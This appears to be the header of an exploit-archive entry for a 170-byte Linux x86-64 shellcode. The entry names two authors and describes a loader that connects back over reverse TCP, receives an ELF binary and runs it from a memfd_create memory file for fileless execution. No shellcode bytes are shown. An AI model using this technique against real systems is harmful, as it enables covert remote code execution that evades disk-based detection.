Linux/x64 - memfd_create ELF loader Shellcode (170 bytes)

# Shellcode Title: Linux/x64 - memfd_create ELF loader (170 bytes)
# Shellcode Author: Ivan Nikolsky (enty8080) & Tomas Globis (tomasglgg)
# Tested on: Linux (x86_64)
# Shellcode Description: This shellcode attempts to establish reverse TCP connection, reads ELF length, reads ELF and maps it into the memory, creates memory file descriptor, writes loaded ELF to it and executes. This shellcode can be used for fileless ELF execution, because no data is writted to disk
